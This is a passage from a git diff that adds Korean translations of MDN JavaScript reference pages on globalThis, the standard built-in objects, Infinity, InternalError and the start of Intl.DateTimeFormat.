+<p><code>globalThis</code>를 사용할 수 있으면 환경별 전역 객체 검사는 더 이상 필요하지 않습니다.</p>
+
+<pre class="brush: js notranslate">if (typeof globalThis.setTimeout !== 'function') {
+  // no setTimeout in this environment!
+}</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-globalthis", "globalThis")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.globalThis")}}</p>
+
+<h3 id="구현_진척도">구현 진척도</h3>
+
+<p>본 기능은 아직 안정적인 크로스 브라우징에 도달하지 못했으므로, 매일 업데이트되는 아래 표에서 브라우저별 구현 상황을 확인할 수 있습니다. 이 데이터는 각 브라우저 JavaScript 엔진의 나이틀리 빌드 또는 최신 릴리즈판에서, JavaScript 표준 테스트인 <a href="https://github.com/tc39/test262">Test262</a>의 관련 항목을 시험해 생성합니다.</p>
+
+<p>{{EmbedTest262ReportResultsTable("globalThis")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/index.html b/files/ko/web/javascript/reference/global_objects/index.html
new file mode 100644
index 0000000000..b0741e8fe2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/index.html
@@ -0,0 +1,204 @@
+---
+title: 표준 내장 객체
+slug: Web/JavaScript/Reference/Global_Objects
+tags:
+  - JavaScript
+  - Overview
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>이 장은 JavaScript의 모든 표준 내장 객체와 그 메서드 및 속성을 나열합니다.</p>
+
+<p>표준 내장 객체와 전역 객체를 헷갈리지 않도록 주의하세요. 표준 내장 객체는 <strong>전역 범위의 여러 객체</strong>를 일컫습니다. 전역 객체는 엄격 모드를 사용하지 않을 땐 전역 범위에서 {{jsxref("Operators/this", "this")}}, 지원하는 환경에선 {{jsxref("globalThis")}}를 사용해 접근할 수 있는 객체입니다. 사실 전역 범위는 <strong>전역 객체와 전역 객체가 상속한 속성</strong>으로 이루어집니다.</p>
+
+<p>전역 범위의 나머지 객체는 <a href="/ko/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">사용자 스크립트가 생성</a>하거나, 호스트 응용 프로그램이 제공합니다. 브라우저 맥락에서 사용 가능한 호스트 객체는 <a href="/ko/docs/Web/API">API 참고서</a>에서 읽을 수 있습니다. <a href="/ko/docs/DOM/DOM_Reference">DOM</a> 및 코어 <a href="/ko/docs/Web/JavaScript">JavaScript</a>의 차이에 관한 자세한 정보는 <a href="/ko/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript 기술 개요</a>를 참고하세요.</p>
+
+<h2 id="항목별_표준_객체">항목별 표준 객체</h2>
+
+<h3 id="값_속성">값 속성</h3>
+
+<p>아래 전역 속성은 간단한 값을 반환하며 속성이나 메서드를 가지고 있지 않습니다.</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}} 리터럴</li>
+ <li>{{jsxref("globalThis")}}</li>
+</ul>
+
+<h3 id="함수_속성">함수 속성</h3>
+
+<p>객체에 붙지 않고 전역으로 호출하는 함수로, 반환 값을 호출자에게 바로 반환합니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Global_Objects/eval", "eval()")}}</li>
+ <li>{{Non-Standard_Inline}} {{JSxRef("Global_Objects/uneval", "uneval()")}} </li>
+ <li>{{JSxRef("Global_Objects/isFinite", "isFinite()")}}</li>
+ <li>{{JSxRef("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{JSxRef("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{JSxRef("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{JSxRef("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{JSxRef("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{JSxRef("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{JSxRef("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li><strong>Deprecated</strong>
+  <ul>
+   <li>{{deprecated_inline}} {{JSxRef("Global_Objects/escape", "escape()")}} </li>
+   <li>{{deprecated_inline}} {{JSxRef("Global_Objects/unescape", "unescape()")}} </li>
+  </ul>
+ </li>
+</ul>
+</div>
+
+<h3 id="기초_객체">기초 객체</h3>
+
+<p>다른 모든 객체의 기반이 되는 기초이자 기본 객체입니다. 일반 객체, 함수, 오류를 나타내는 객체를 포함합니다.</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+</ul>
+
+<h4 id="오류_객체">오류 객체</h4>
+
+<p>오류 객체는 기초 객체의 특별한 유형으로, 기본적인 {{jsxref("Error")}} 객체와 함께 특정 용도에 최적화된 오류 형태도 포함합니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Error")}}</li>
+ <li>{{Experimental_Inline}} {{JSxRef("AggregateError")}} </li>
+ <li>{{JSxRef("EvalError")}}</li>
+ <li>{{JSxRef("InternalError")}} </li>
+ <li>{{JSxRef("RangeError")}}</li>
+ <li>{{JSxRef("ReferenceError")}}</li>
+ <li>{{JSxRef("SyntaxError")}}</li>
+ <li>{{JSxRef("TypeError")}}</li>
+ <li>{{JSxRef("URIError")}}</li>
+</ul>
+</div>
+
+<h3 id="숫자_및_날짜">숫자 및 날짜</h3>
+
+<p>숫자, 날짜, 수학 계산을 나타내는 기본 객체입니다.</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="텍스트_처리">텍스트 처리</h3>
+
+<p>문자열을 나타내는 객체로 문자열을 조작할 방법도 제공합니다.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="인덱스_콜렉션">인덱스 콜렉션</h3>
+
+<p>인덱스 값으로 정렬된 데이터의 콜렉션을 나타냅니다. 배열(형식배열 포함)과 배열형 객체를 포함합니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Array")}}</li>
+ <li>{{JSxRef("Int8Array")}}</li>
+ <li>{{JSxRef("Uint8Array")}}</li>
+ <li>{{JSxRef("Uint8ClampedArray")}}</li>
+ <li>{{JSxRef("Int16Array")}}</li>
+ <li>{{JSxRef("Uint16Array")}}</li>
+ <li>{{JSxRef("Int32Array")}}</li>
+ <li>{{JSxRef("Uint32Array")}}</li>
+ <li>{{JSxRef("Float32Array")}}</li>
+ <li>{{JSxRef("Float64Array")}}</li>
+ <li>{{JSxRef("BigInt64Array")}}</li>
+ <li>{{JSxRef("BigUint64Array")}}</li>
+</ul>
+</div>
+
+<h3 id="키_콜렉션">키 콜렉션</h3>
+
+<p>키를 사용하는 콜렉션을 나타냅니다. {{jsxref("Map")}}, {{jsxref("Set")}} 등 순회 가능한 콜렉션은 요소를 삽입 순서대로 순회할 수 있습니다.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="구조화된_데이터">구조화된 데이터</h3>
+
+<p>구조화된 데이터 버퍼 및 JavaScript Object Notation(JSON)을 사용하여 작성한 데이터를 나타내고 상호작용합니다.</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+ <li>{{jsxref("Atomics")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="제어_추상화_객체">제어 추상화 객체</h3>
+
+<p>제어 추상화는 코드 구조화에 도움을 줍니다. 특히, 비동기 코드를 (예를 들어) 깊게 중첩된 콜백 함수 없이 작성할 수 있습니다.</p>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("AsyncFunction")}}</li>
+</ul>
+
+<h3 id="리플렉션">리플렉션</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="국제화">국제화</h3>
+
+<p>ECMAScript 코어에 추가된 언어 구분 기능입니다.</p>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("Intl")}}</li>
+ <li>{{JSxRef("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{JSxRef("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}</li>
+ <li>{{JSxRef("Global_Objects/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/Locale", "Intl.Locale")}}</li>
+</ul>
+</div>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<div class="twocolumns">
+<ul>
+ <li>{{JSxRef("WebAssembly")}}</li>
+ <li>{{JSxRef("WebAssembly.Module")}}</li>
+ <li>{{JSxRef("WebAssembly.Instance")}}</li>
+ <li>{{JSxRef("WebAssembly.Memory")}}</li>
+ <li>{{JSxRef("WebAssembly.Table")}}</li>
+ <li>{{JSxRef("WebAssembly.CompileError")}}</li>
+ <li>{{JSxRef("WebAssembly.LinkError")}}</li>
+ <li>{{JSxRef("WebAssembly.RuntimeError")}}</li>
+</ul>
+</div>
+
+<h3 id="기타">기타</h3>
+
+<ul>
+ <li>{{JSxRef("Functions/arguments", "arguments")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/infinity/index.html b/files/ko/web/javascript/reference/global_objects/infinity/index.html
new file mode 100644
index 0000000000..6305621f65
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/infinity/index.html
@@ -0,0 +1,65 @@
+---
+title: Infinity
+slug: Web/JavaScript/Reference/Global_Objects/Infinity
+tags:
+  - JavaScript
+  - Property
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p><code><strong>Infinity</strong></code> 전역 속성은 무한대를 나타내는 숫자값입니다.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="설명">설명</h2>
+
+<p><code>Infinity</code>는 전역 객체의 속성입니다. 즉, 전역 스코프의 변수입니다.</p>
+
+<p><code>Infinity</code>의 초기값은 {{jsxref("Number.POSITIVE_INFINITY")}}입니다. <code>Infinity</code>(양의 무한대)는 다른 어떤 수보다 더 큽니다.</p>
+
+<p>수학적인 무한대와는 일부 차이점이 있습니다. {{jsxref("Number.POSITIVE_INFINITY")}} 문서에서 더 알아보세요.</p>
+
+<p><code>Infinity</code>는 ECMAScript 5 명세에 따라 읽기 전용입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js notranslate">console.log(Infinity);          /* Infinity */
+console.log(Infinity + 1);      /* Infinity */
+console.log(Math.pow(10,1000)); /* Infinity */
+console.log(Math.log(0));       /* -Infinity */
+console.log(1 / Infinity);      /* 0 */
+console.log(1 / 0);             /* Infinity */
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Infinity")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.isFinite")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/internalerror/index.html b/files/ko/web/javascript/reference/global_objects/internalerror/index.html
new file mode 100644
index 0000000000..e6e5769902
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/internalerror/index.html
@@ -0,0 +1,120 @@
+---
+title: InternalError
+slug: Web/JavaScript/Reference/Global_Objects/InternalError
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><strong><code>InternalError </code></strong>객체는 JavaScript 엔진 내부에서 발생한 에러를 나타냅니다. 예를 들면, <strong>"InternalError</strong>: too much recursion"라는 에러가 있으며, 이것은 "내부 에러: 너무 많은 재귀 호출" 상황이 발생했을 때 나타납니다. </p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new InternalError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre>
+
+<h3 id="파라메터">파라메터</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>선택적 파라메터. 에러에 대한 설명.</dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(Exception)가 발생한 코드를 포함하고 있는 파일 명.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>선택적 파라메터. 예외(Exception)이 발생한 코드의 라인 넘버.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>InternalError</code> 는 JavaScript 엔진에서 내부 에러가 발생할 때마다 던져집니다.</p>
+
+<p>다음의 에러 예시 들의 경우는 일반적으로 어떤 값이 너무 큰 경우 입니다.</p>
+
+<ul>
+ <li>"too many switch cases", (swich case의 수가 너무 많음.)</li>
+ <li>"too many parentheses in regular expression", (정규표현식에 너무 많은 괄호가 있음.)</li>
+ <li>"array initializer too large", (배열 초기화 값이 너무 큼.)</li>
+ <li>"too much recursion". (너무 많은 재귀 호출.)</li>
+</ul>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("InternalError.prototype")}}</dt>
+ <dd><code>InternalError</code> 객체에 속성을 추가하도록 해줍니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>전역(global)의 <code>InternalError</code> 는 고유의 함수를 가지고 있지 않지만, 몇 가지의 메소드를 프로토타입 체인으로부터 상속받습니다.</p>
+
+<h2 id="InternalError_인스턴스"><code>InternalError</code> 인스턴스</h2>
+
+<h3 id="속성_2">속성</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError/prototype', 'Properties')}}</div>
+
+<h3 id="메소드_2">메소드</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/InternalError/prototype', 'Methods')}}</div>
+
+<h2 id="스펙">스펙</h2>
+
+<p>Not part of any specifications.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("InternalError.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html b/files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html
new file mode 100644
index 0000000000..e854c2073a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/internalerror/prototype/index.html
@@ -0,0 +1,100 @@
+---
+title: InternalError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/InternalError/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef}} {{non-standard_header}}</div>
+
+<p><code><strong>InternalError.prototype </strong></code>속성은 {{jsxref("InternalError")}} 생성자의 프로토타입을 나타냅니다.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="설명">설명</h2>
+
+<p>모든 {{jsxref("InternalError")}} 인스턴스는 <code>InternalError.prototype</code> 으로부터 상속받습니다. 프로토타입은 모든 인스턴스에 속성이나 메소드를 추가하거나 하는 데에 사용할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt><code>InternalError.prototype.constructor</code></dt>
+ <dd>인스턴스의 프로토타입을 생성하는 함수를 명시합니다. </dd>
+ <dt>{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}</dt>
+ <dd>에러 메시지. {{jsxref("Error")}} 로부터 상속받습니다. </dd>
+ <dt>{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}</dt>
+ <dd>에러명. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}</dt>
+ <dd>에러를 발생시킨 파일의 경로. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}</dt>
+ <dd>에러를 발생시킨 파일의 라인 넘버. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}</dt>
+ <dd>에러를 발생 시킨 라인의 컬럼 넘버. {{jsxref("Error")}} 로부터 상속받습니다.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}</dt>
+ <dd>스택 트레이스. {{jsxref("Error")}} 로부터 상속받습니다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>비록 {{jsxref("InternalError")}}의 프로토타입 객체는 고유의 메소드를 가지고 있지는 않습니다. 하지만, {{jsxref("InternalError")}} 인스턴스는 프로토타입 체인을 통해 몇 가지의 메소드를 상속 받습니다.</p>
+
+<h2 id="스펙">스펙</h2>
+
+<p>Not part of any specifications.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html
new file mode 100644
index 0000000000..0758e1332b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/intl/datetimeformat/index.html
@@ -0,0 +1,303 @@
+---
+title: Intl.DateTimeFormat
+slug: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+tags:
+  - DateTimeFormat
+  - Internationalization
+  - Intl
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Intl.DateTimeFormat</code></strong>은 언어에 맞는 날짜 및 시간 서식을 지원하는 객체의 생성자입니다.</span> <code>dateStyle</code>과 <code>timeStyle</code> 옵션을 통해 날짜와 시간 형식을 빠르게 맞출 수 있고, 더 자세한 조정을 위한 다른 옵션도 존재합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/intl-datetimeformat.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new Intl.DateTimeFormat([<var>locales</var>[, <var>options</var>]])
+Intl.DateTimeFormat.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>locales</code> {{optional_inline}}</dt>
+ <dd>
+ <p><a href="https://ko.wikipedia.org/wiki/IETF_%EC%96%B8%EC%96%B4_%ED%83%9C%EA%B7%B8">BCP 47</a> 언어 태그를 포함하는 문자열이나 문자열의 배열. 로케일 매개변수의 일반적인 형식 및 해석은 {{jsxref("Intl", "<code>Intl</code> 문서", "#Locale_identification_and_negotiation", 1)}}를 참고하세요. 다음의 유니코드 확장 키를 사용할 수 있습니다.</p>
+
+ <dl>
+  <dt><code>nu</code></dt>
+  <dd>사용할 기수법. <code>"arab"</code>, <code>"arabext"</code>, <code>"bali"</code>, <code>"beng"</code>, <code>"deva"</code>, <code>"fullwide"</code>, <code>"gujr"</code>, <code>"guru"</code>, <code>"hanidec"</code>, <code>"khmr"</code>, <code>"knda"</code>, <code>"laoo"</code>, <code>"latn"</code>, <code>"limb"</code>, <code>"mlym"</code>, <code>"mong"</code>, <code>"mymr"</code>, <code>"orya"</code>, <code>"tamldec"</code>, <code>"telu"</code>, <code>"thai"</code>, <code>"tibt"</code> 등을 사용할 수 있습니다.</dd>
+  <dt><code>ca</code></dt>
+  <dd>역법. <code>"buddhist"</code>, <code>"chinese"</code>, <code>"coptic"</code>, <code>"ethioaa"</code>, <code>"ethiopic"</code>, <code>"gregory"</code>, <code>"hebrew"</code>, <code>"indian"</code>, <code>"islamic"</code>, <code>"islamicc"</code>, <code>"iso8601"</code>, <code>"japanese"</code>, <code>"persian"</code>, <code>"roc"</code> 등을 사용할 수 있습니다.</dd>
+  <dt><code>hc</code></dt>
+  <dd>시간 사이클. <code>"h11"</code>, <code>"h12"</code>, <code>"h23"</code>, <code>"h24"</code> 등을 사용할 수 있습니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>
+ <p>다음 속성을 포함하는 객체.</p>
+
+ <dl>
+  <dt><code>dateStyle</code></dt>
+  <dd><code>format()</code>을 호출했을 때 사용할 날짜 서식. 가능한 값은 다음을 포함합니다.
+  <ul>
+   <li><code>"full"</code></li>
+   <li><code>"long"</code></li>
+   <li><code>"medium"</code></li>
+   <li><code>"short"</code></li>
+  </ul>
+  </dd>
+  <dt><code>timeStyle</code></dt>
+  <dd><code>format()</code>을 호출했을 때 사용할 시간 서식. 가능한 값은 다음을 포함합니다.
+  <ul>
+   <li><code>"full"</code></li>
+   <li><code>"long"</code></li>
+   <li><code>"medium"</code></li>
+   <li><code>"short"</code></li>
+  </ul>
+  </dd>
+  <dt><code>localeMatcher</code></dt>
+  <dd>사용할 로케일 매칭 알고리즘. 가능한 값은 <code>"lookup"</code>과 <code>"best fit"</code>이고, 기본값은 <code>"best fit"</code>입니다. 자세한 정보는 {{jsxref("Intl", "<code>Intl</code> 문서", "#로케일_조정", 1)}}를 참고하세요.</dd>
+  <dt><code>timeZone</code></dt>
+  <dd>사용할 시간대. 구현체가 반드시 인식해야 하는 유일한 값은 <code>"UTC"</code>입니다. 기본값은 런타임의 기본 시간대입니다. 구현체에 따라 "<code>Asia/Shanghai</code>", "<code>Asia/Kolkata</code>", "<code>America/New_York</code>" 등 <a href="https://www.iana.org/time-zones">IANA 시간대 데이터베이스</a>의 시간대 이름을 인식할 수도 있습니다.</dd>
+  <dt><code>hour12</code></dt>
+  <dd>24시간제 대신 12시간제를 사용할지 여부. 가능한 값은 <code>true</code> 와 <code>false</code>이고, 기본값은 로케일에 따라 다릅니다. 이 옵션을 지정하면 <code>hc</code> 언어 태그와 <code>hourCycle</code> 옵션을 모두 무시합니다.</dd>
+  <dt><code>hourCycle</code></dt>
+  <dd>사용할 시간제. 가능한 값은 <code>"h11"</code>, <code>"h12"</code>, <code>"h23"</code>, <code>"h24"</code>입니다. 이 옵션을 지정하면 <code>hc</code> 언어 태그를 무시합니다. <code>hour12</code> 옵션을 지정한 경우 그 값이 우선순위를 가집니다.</dd>
+  <dt><code>formatMatcher</code></dt>
+  <dd>사용할 서식 매칭 알고리즘. 가능한 값은 <code>"basic"</code>과 <code>"best fit"</code>이고, 기본값은 <code>"best fit"</code>입니다. 아래의 단락에서 이 속성의 자세한 정보를 확인하세요.</dd>
+ </dl>
+
+ <p>이후의 속성은 서식을 적용한 출력 결과가 사용할 날짜 및 시간 구성요소를 나타냅니다. 구현체는 적어도 아래의 부분집합을 지원해야 합니다.</p>
+
+ <ul>
+  <li><code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code>, <code>hour</code>, <code>minute</code>, <code>second</code></li>
+  <li><code>weekday</code>, <code>year</code>, <code>month</code>, <code>day</code></li>
+  <li><code>year</code>, <code>month</code>, <code>day</code></li>
+  <li><code>year</code>, <code>month</code></li>
+  <li><code>month</code>, <code>day</code></li>
+  <li><code>hour</code>, <code>minute</code>, <code>second</code></li>
+  <li><code>hour</code>, <code>minute</code></li>
+ </ul>
+
+ <p>구현체에 따라 다른 집합을 지원할 수도 있습니다. 서식 요청은 가능한 모든 부분집합 조합 중 최적으로 일치하는 집합으로 조정됩니다. 조정 알고리즘에는 <a href="http://www.ecma-international.org/ecma-402/1.0/#BasicFormatMatcher">명세에 완벽히 정의된 <code>basic</code> 알고리즘</a>과, 구현체에 따라 다른 <code>best-fit</code> 알고리즘 두 종류가 있으며 <code>formatMatcher</code> 속성의 값이 어느 쪽을 사용할지 결정합니다.</p>
+
+ <dl>
+  <dt><code>weekday</code></dt>
+  <dd>요일. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li>"<code>long</code>" (<code>금요일</code>, <code>Thursday</code> 등)</li>
+   <li>"<code>short</code>" (<code>(금)</code>, <code>Thu</code> 등)</li>
+   <li>"<code>narrow</code>" (<code>(금)</code>, <code>T</code> 등). 일부 로케일에서는 두 개의 요일이 같은 값을 스타일을 가질 수 있습니다. (예: <code>Thursday</code>와 <code>Tuesday</code> 둘 다 <code>T</code>)</li>
+  </ul>
+  </dd>
+  <dt><code>era</code></dt>
+  <dd>시대. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li>"<code>long</code>" (<code>서기</code>, <code>Anno Domini</code> 등)</li>
+   <li>"<code>short</code>" (<code>AD</code> 등)</li>
+   <li>"<code>narrow</code>" (<code>A</code>, <code>AD</code> 등)</li>
+  </ul>
+  </dd>
+  <dt><code>year</code></dt>
+  <dd>연도. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li>"<code>numeric</code>" (<code>2019년</code>, <code>2019</code> 등)</li>
+   <li>"<code>2-digit</code>" (<code>19년</code>, <code>19</code> 등)</li>
+  </ul>
+  </dd>
+  <dt><code>month</code></dt>
+  <dd>월. 가능한 값은 다음과 같습니다.
+  <ul>
+   <li>"<code>numeric</code>" (<code>3</code> 등)</li>
+   <li>"<code>2-digit</code>" (<code>03</code> 등)</li>
+   <li>"<code>long</code>" (<code>3월</code>, <code>March</code> 등)</li>
+   <li>"<code>short</code>" (<code>Mar</code> 등)</li>
